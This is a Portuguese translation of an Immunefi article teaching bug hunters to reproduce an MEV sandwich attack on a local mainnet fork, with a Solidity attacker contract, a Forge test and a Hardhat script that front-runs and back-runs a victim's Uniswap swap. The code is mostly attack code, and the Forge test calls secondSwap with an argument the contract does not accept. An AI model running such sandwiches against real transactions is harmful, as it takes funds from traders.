WEB3DEV

Cover image for Como Reproduzir um Ataque MEV Simples
Adriano P. Araujo
Adriano P. Araujo

Posted on

Como Reproduzir um Ataque MEV Simples

Image description

Introdução

As explorações no espaço blockchain estão se tornando mais complexas.

Antes, os desenvolvedores de contratos inteligentes e auditores precisavam principalmente pensar em como proteger os contratos inteligentes contra explorações que ocorriam em uma única transação, mas agora, é muito mais comum ver ataques que ocorrem ao longo de várias transações.

Os hacker de chapéu preto também estão cada vez mais arriscando grandes quantias de fundos pessoais em busca de ganhos astronômicos.

Apenas na semana passada, um criminoso arriscou 50 ETH (~$96,000) para executar um ataque contra a Rodeo Finance, resultando em um lucro de cerca de 472 ETH, avaliado em aproximadamente ~$890,000. Casos como esse solidificam o princípio de que o "custo do ataque" não é um dissuasor de segurança eficaz e que qualquer protocolo que dependa de altos custos de ataque para se manter seguro deve repensar sua estratégia.

Neste artigo, explicaremos uma das maneiras comuns pelas quais um criminoso pode atacar um protocolo vulnerável usando MEV. Também explicaremos como nós, como caçadores de bugs, podemos demonstrar adequadamente um vetor de ataque MEV com uma PoC (prova de conceito).

O que é MEV

MEV (Valor Minerável Extraívell ou Valor Extraível Máximo - Miner Extractable Value ou Maximal Extractable Value, no original) permite aos mineradores excluir, incluir e ordenar as transações na blockchain antes que o bloco seja minerado. Isso mudou bastante após o Merge da  Ethereum, resultando na transferência dessa função de ordenação de transações para os validadores da rede. No entanto, o vetor de ataque MEV ainda é comum e relevante no espaço blockchain.

Existem várias maneiras pelas quais o MEV pode ser usado por um atacante. Vamos demonstrar o que é conhecido como ataque sanduíche, realizado por meio do front-running e back-running das transações de troca da vítima.

Front-running

O front-running é uma técnica em que um atacante consegue colocar sua transação antes da transação da vítima, para que a transação do atacante seja executada primeiro. Isso pode ser feito inflando o preço do gás da transação maliciosa, para que ela seja priorizada em relação à transação da vítima, que possui uma taxa de gás mais baixa do que a transação maliciosa.

Back-running

O back-running é uma técnica em que um atacante coloca sua transação maliciosa após a execução da transação da vítima. Um atacante pode fazer isso diminuindo o preço do gás da transação maliciosa. Isso garantirá que a transação da vítima seja priorizada em relação à transação de back-run.

Ataque Sanduíche

Em um cenário de ataque sanduíche, o atacante monitora o mempool (uma lista de transações pendentes) em busca de uma transação alvo que eles desejam explorar. Após identificar o alvo, eles enviam duas transações - uma antes e outra depois da transação alvo - cercando-a como o pão em um sanduíche. O objetivo deste sanduíche é manipular a execução ou o resultado da transação alvo a favor do atacante.

Usando os métodos mencionados na seção anterior, o atacante envia duas transações com taxas de gás mais altas e mais baixas do que a transação da vítima, a fim de executar com sucesso o ataque sanduíche. Alternativamente, eles podem enviar um pacote de transações por meio de provedores RPC especializados que podem garantir a ordenação das transações por uma taxa.

Esse tipo de ataque pode ser particularmente problemático nos ecossistemas DeFi, onde transações envolvendo tokens, pools de liquidez ou exchanges descentralizadas são altamente suscetíveis a mudanças com base na ordem das transações. O objetivo do atacante nesses cenários geralmente é manipular os preços dos ativos, lucrar com oportunidades de arbitragem ou explorar outras vulnerabilidades no protocolo para ganho pessoal.

Como Testar um Ataque MEV

Para criar uma PoC que demonstre um ataque MEV, podemos utilizar ferramentas como Hardhat e Forge para criar um fork local de uma blockchain.

Para comprovar um resultado determinístico entre ambos os testes, utilizaremos o mesmo contrato de Atacante, que pode ser acessado através deste Gist no GitHub.


// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.9;



// Descomente esta linha para usar console.log

// import "hardhat/console.sol";



interface IUniswapV2Router {

    function swapExactTokensForTokens(

        uint amountIn,

        uint amountOutMin,

        address[] calldata path,

        address to,

        uint deadline

    ) external returns (uint[] memory amounts);

}



interface IERC20 {

    function balanceOf(address owner)external view returns(uint256);

    function approve(address spender, uint256 amount)external;

}



contract Attacker {

    IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);



    IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0

    IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1



    constructor() {

        USDC.approve(address(Router2), type(uint256).max);

        WETH.approve(address(Router2), type(uint256).max);

    }



    function firstSwap(uint256 amount)external {

        address[] memory path = new address[](2);

        // Troca de WETH para USDC

        path[0] = address(WETH);

        path[1] = address(USDC);

        Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200); 

    }



    function secondSwap()external {

        address[] memory path = new address[](2);

        // Troca de USDC para WETH

        path[0] = address(USDC);

        path[1] = address(WETH);



        uint256 amount = USDC.balanceOf(address(this));

        Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200);

    }



    function getUSDCBalance(address user)external view returns(uint256 result) {

        return USDC.balanceOf(user);

    }



    function getWETHBalance(address user)external view returns(uint256 result) {

        return WETH.balanceOf(user);

    }



}



Enter fullscreen mode Exit fullscreen mode

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;



import "forge-std/Test.sol";

import "../src/Attacker.sol";



contract Sandwich is Test {

    Attacker public attacker;

    address public victim;



    string RPC_URL = "https://rpc.ankr.com/eth";



    uint256 mainnetfork;



    IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);



    IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0

    IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1



    function setUp() public {

        mainnetfork = vm.createFork(RPC_URL);

        vm.selectFork(mainnetfork);

        vm.rollFork(17626926);



        victim = vm.addr(1);



        attacker = new Attacker();



        deal(address(WETH), victim, 1_000*1e18); // saldo inicial da vítima

        deal(address(WETH), address(attacker), 1_000*1e18); // saldo inicial do atacante

    }



    function _frontrun() internal {

        attacker.firstSwap(WETH.balanceOf(address(attacker)));

    }



    function _victim() internal {

        vm.startPrank(victim);

        WETH.approve(address(Router2), type(uint256).max);



        address[] memory path = new address[](2);

        // Trocar de WETH para USDC

        path[0] = address(WETH);

        path[1] = address(USDC);



        Router2.swapExactTokensForTokens(WETH.balanceOf(victim), 0, path, victim, block.timestamp + 4200); // o segundo parâmetro é definido como 0, para torná-lo passível de frontrun

        vm.stopPrank();

    }



    function _backun() internal {

        attacker.secondSwap(USDC.balanceOf(address(attacker)));

    }



    function testSandwich() public {

        console.log("Saldo USDC antes (atacante)  = ", attacker.getUSDCBalance(address(attacker)));

        console.log("Saldo WETH antes (atacante) = ", attacker.getWETHBalance(address(attacker)));

        console.log("Saldo USDC antes (vítima)  = ", attacker.getUSDCBalance(victim));

        console.log("Saldo WETH antes (vítima) = ", attacker.getWETHBalance(victim));

        _frontrun();

        _victim();

        _backun();

        console.log("Saldo USDC depois (atacante)  = ", attacker.getUSDCBalance(address(attacker)));

        console.log("Saldo WETH depois (atacante) = ", attacker.getWETHBalance(address(attacker)));

        console.log("Saldo USDC depois (vítima)  = ", attacker.getUSDCBalance(victim));

        console.log("Saldo WETH depois (vítima) = ", attacker.getWETHBalance(victim));

    }

}

Enter fullscreen mode Exit fullscreen mode

// Exigimos explicitamente o Ambiente de Execução do Hardhat aqui. Isso é opcional

// mas útil para executar o script de forma independente através do `node <script>`.

//

// Você também pode executar um script com `npx hardhat run <script>`. Se fizer isso, o Hardhat

// irá compilar seus contratos, adicionar os membros do Ambiente de Execução do Hardhat ao

// escopo global e executar o script.

const { network, ethers } = require("hardhat");

const hre = require("hardhat");



async function main() {



// Fazer um fork da mainnet

  await hre.network.provider.request({

    method: "hardhat_reset",

    params: [{

      forking: {

        jsonRpcUrl: "https://rpc.ankr.com/eth"

        ,blockNumber: 17626926      

        }

      }]

    })




  // Define variáveis importantes a serem usadas para demonstrar um ataque sanduíche MEV 

  const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";

  const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";

  const Router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";

  const [maliciousUser, victim] = await ethers.getSigners();

  const amount = 1000000000000000000000; // 1_000 ETH



  /////////////////////////////////////////////////////////////////////////

  ////// Esta seção de código é responsável pela manipulação de saldos ////////

  /////////////////////////////////////////////////////////////////////////

  const toBytes32 = (bn) => {

    return ethers.hexlify(ethers.zeroPadValue(ethers.toBeHex(BigInt(bn)), 32));

  };

  const setStorageAt = async (address, index, value) => {

    await ethers.provider.send("hardhat_setStorageAt", [address, index, value]);

  };

  /////////////////////////////////////////////////////////////////////////




  // Implementa o código

  const attacker = await ethers.deployContract("Attacker");

  const maliciousContract = await attacker.getAddress();

  console.log("Contrato malicioso:", maliciousContract);




  // Manipula o saldo do contrato Attacker para 1.000 WETH

  const AttackerIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [maliciousContract, 3]); // chave, slot

  await setStorageAt(

    WETH,

    AttackerIndex,

    toBytes32(amount).toString()

  );



  // Manipula o saldo da vítima para 1.000 WETH

  const VictimIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [victim.address, 3]); // chave, slot

  await setStorageAt(

    WETH,

    VictimIndex,

    toBytes32(amount).toString()

  );



  ///////////////////////////////////////////////////////////////////////////////////////////////////////

  ////// Esta seção de código é responsável por registrar o saldo do contrato malicioso e da vítima ////////

  ///////////////////////////////////////////////////////////////////////////////////////////////////////

  console.log("Endereço do contrato do atacante = ", ethers.getAddress(maliciousContract));

  const attackerUSDCBalanceBefore = await attacker.getUSDCBalance(maliciousContract);

  const attackerWETHBalanceBefore = await attacker.getWETHBalance(maliciousContract);



  console.log("Saldo USDC Antes (atacante) = ", BigInt(attackerUSDCBalanceBefore).toString());

  console.log("Saldo WETH Antes (atacante) = ", BigInt(attackerWETHBalanceBefore).toString());



  const victimUSDCBalanceBefore = await attacker.getUSDCBalance(victim.address);

  const victimWETHBalanceVictim = await attacker.getWETHBalance(victim.address);



  console.log("Saldo USDC Antes (vítima) = ", BigInt(victimUSDCBalanceBefore).toString());

  console.log("Saldo WETH Antes (vítima) = ", BigInt(victimWETHBalanceVictim).toString());

  ///////////////////////////////////////////////////////////////////////////////////////////////////////




  // A vítima faz uma transação de aprovação para dar autorização ao contrato Router

  const approveFunctionName = "approve";

  const IERC20Interface = new ethers.Interface([

    "function approve(address spender, uint256 amount) public"

  ]);

  const approveParams = [

    Router,

    BigInt(amount)

  ]

  await victim.sendTransaction({

    to: WETH,

    data: IERC20Interface.encodeFunctionData(approveFunctionName, approveParams)

  });




  // Definir o comportamento de mineração como falso, para que a transação seja coletada no mempool, antes da finalização

  await network.provider.send("evm_setAutomine", [false]);



  /////////////////////////////////////////////////////////////////////////

  //////////// A vítima realiza a transação para trocar seu WETH /////////////

  /////////////////////////////////////////////////////////////////////////

  const functionName = "swapExactTokensForTokens";

  const block = await ethers.provider.getBlock(17626926);

  const params = [

    BigInt(amount), // quantidade de entrada

    BigInt(0),      // quantidade mínima de saída

    [

      WETH,         // Ativo de entrada

      USDC          // Ativo de saída

    ],

    victim.address, // Endereço de recebimento

    block.timestamp + 7200 // Prazo

  ];

  const routerInterface = new ethers.Interface([

    "function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) public"

  ]);

  await victim.sendTransaction({

    to: Router,

    data: routerInterface.encodeFunctionData(functionName, params),

    gasLimit: 500000,

    gasPrice: ethers.parseUnits("100", "gwei")

  });

  /////////////////////////////////////////////////////////////////////////



  // O atacante realiza a operação de frontrunning na transação, inflando o argumento gasPrice

  await attacker.connect(maliciousUser).firstSwap(BigInt(amount), {gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei")} );



  // O atacante realiza a operação de backrunning na transação da vítima, diminuindo o argumento gasPrice

  await attacker.connect(maliciousUser).secondSwap( {gasLimit: 500000, gasPrice: ethers.parseUnits("99", "gwei")} );



  // Registrar a transação pendente que será incluída no próximo bloco usando a tag de bloco pendente

  const pendingBlock = await network.provider.send("eth_getBlockByNumber", [

    "pending", 

    false, 

  ]);

  console.log("\n Bloco Pendente = " , pendingBlock);



  // Minera manualmente o bloco

  await ethers.provider.send("evm_mine", []); 




  ///////////////////////////////////////////////////////////////////////////////////////////////////////

  ////// Esta seção de código é responsável por registrar o saldo do contrato malicioso e da vítima ////////

  ///////////////////////////////////////////////////////////////////////////////////////////////////////

  const attackerUSDCBalanceAfter = await attacker.getUSDCBalance(maliciousContract);

  const attackerWETHBalanceAfter = await attacker.getWETHBalance(maliciousContract);



  console.log("Saldo USDC Depois (atacante) = ", BigInt(attackerUSDCBalanceAfter).toString());

  console.log("Saldo WETH Depois (atacante) = ", BigInt(attackerWETHBalanceAfter).toString());



  const victimUSDCBalanceAfter = await attacker.getUSDCBalance(victim.address);

  const victimWETHBalanceAfter = await attacker.getWETHBalance(victim.address);



  console.log("Saldo USDC Depois (vítima) = ", BigInt(victimUSDCBalanceAfter).toString());

  console.log("Saldo WETH Depois (vítima) = ", BigInt(victimWETHBalanceAfter).toString());

  ///////////////////////////////////////////////////////////////////////////////////////////////////////




}



// Recomendamos este padrão para poder usar async/await em todos os lugares

// e lidar adequadamente com erros.

main().catch((error) => {

  console.error(error);

  process.exitCode = 1;

});



Enter fullscreen mode Exit fullscreen mode

Nesta demonstração, iremos intencionalmente fazer com que a vítima invoque uma transação de troca de WETH para USDC no UniswapV2 com um valor mínimo de 0. O que torna essa transação vulnerável a um ataque sanduíche é o valor mínimo definido como 0, o que significa que a transação não será revertida, mesmo se a vítima receber apenas 0 USDC ou uma variação de 99%. É por isso que é crucial definir o valor mínimo adequadamente.

Hardhat

O Hardhat é um framework para o desenvolvimento de contratos inteligentes, permitindo que um desenvolvedor use JavaScript/TypeScript como forma de interagir com os contratos inteligentes. Antes do Forge (um framework mais recente) estar disponível, a maioria dos hackers de chapéu branco criava seus PoCs bifurcando a blockchain usando o Hardhat.

Convenientemente, o Hardhat já fornece um mecanismo para segurar a finalização de uma transação, para que a transação que invocamos possa ser agregada no mempool antes que essas transações sejam finalizadas.

Guia passo a passo:

  1. Certifique-se de que você já tem o Hardhat instalado em sua máquina (https://github.com/NomicFoundation/hardhat).

  2. Crie um projeto Hardhat simples

  3. mkdir MEV-poc

  4. cd MEV-poc

  5. yarn add hardhat

  6. npx hardhat init

  7. Altere o contrato para o contrato Attacker.

  8. Altere o arquivo na pasta de scripts para sandwichAttack.js https://gist.github.com/GibranAkbaromiL/05020630475f4f2599f72b47e52c7949#file-sandwichattack-js

  9. Execute npx hardhat run scripts/sandwichAttack.js

Saída:

https://miro.medium.com/v2/resize:fit:720/0*lqraslLwt7M_tVC

Forge

O Forge é um conjunto de ferramentas de desenvolvimento de contratos inteligentes que permite testar, implantar e interagir com a blockchain usando scripts em Solidity. Isso nos permite demonstrar um ataque MEV simplesmente ordenando as transações no arquivo de teste.

Guia passo a passo:

  1. Certifique-se de que você já instalou o Forge em sua máquina (https://book.getfoundry.sh/getting-started/installation).

  2. Crie um projeto Forge simples.

  3. mkdir MEV-poc

  4. cd MEV-poc

  5. forge init

  6. Altere o contrato na pasta src para o contrato do atacante.

  7. Altere o arquivo de teste na pasta de testes para Sandwich.t.sol. https://gist.github.com/GibranAkbaromiL/05020630475f4f2599f72b47e52c7949#file-sandwich-t-sol

Saída:

https://miro.medium.com/v2/resize:fit:720/0*6jib7S0NX89JzqiR

A partir desses dois casos de teste, conseguimos demonstrar um ataque sanduíche MEV usando o Hardhat e o Forge. Como podemos ver na saída do caso de teste, um atacante e uma vítima começaram com 1000 WETH como saldo inicial e o atacante conseguiu realizar uma operação de frontrunning e backrunning na transação da vítima, resultando em um lucro de aproximadamente 123 WETH para o atacante. Como resultado, a vítima recebeu menos USDC.

O Que Aprendemos

Uma das partes mais cruciais na pesquisa de segurança é criar uma PoC com base na vulnerabilidade potencial que você identificou. Por que isso é tão importante? Porque simplesmente identificar uma vulnerabilidade potencial não torna o ataque válido. A única maneira de confirmarmos se o ataque é válido ou não é por meio da criação de uma PoC, que deve ser criada de forma única para cada vulnerabilidade identificada.

Apenas discutimos um dos muitos vetores de ataque possíveis que podem ocorrer com o MEV e o cenário real de exploração que você descobre como pesquisador pode ser muito diferente do mostrado aqui. No exemplo acima, abordamos apenas um dos vetores mais comuns, que é um ataque  sanduíche em uma troca sem proteção contra derrapagem. Se você deseja testar suas habilidades e tentar reproduzir outros vetores de ataque, também pode verificar: front running de mint de NFT, front running de atualizações de preço de um oráculo fora da cadeia e liquidez JIT (just in time - no momento certo, em tradução livre).

Isso é tudo para este artigo. Esperamos que você tenha conseguido obter uma nova compreensão ou revisar algum conhecimento existente em seu "palácio mental", graças aos poucos minutos que passou aqui. Continue caçando por bugs e não pare de aprender. Há novos exploits e bugs para descobrir todos os dias, e não faltam recompensas ou oportunidades para whitehats que se esforçam.

Feliz caçada na Immunefi!


Este artigo foi escrito por Immunefi e traduzido por Adriano P. de Araujo. O original em inglês pode ser encontrado aqui

Top comments (0)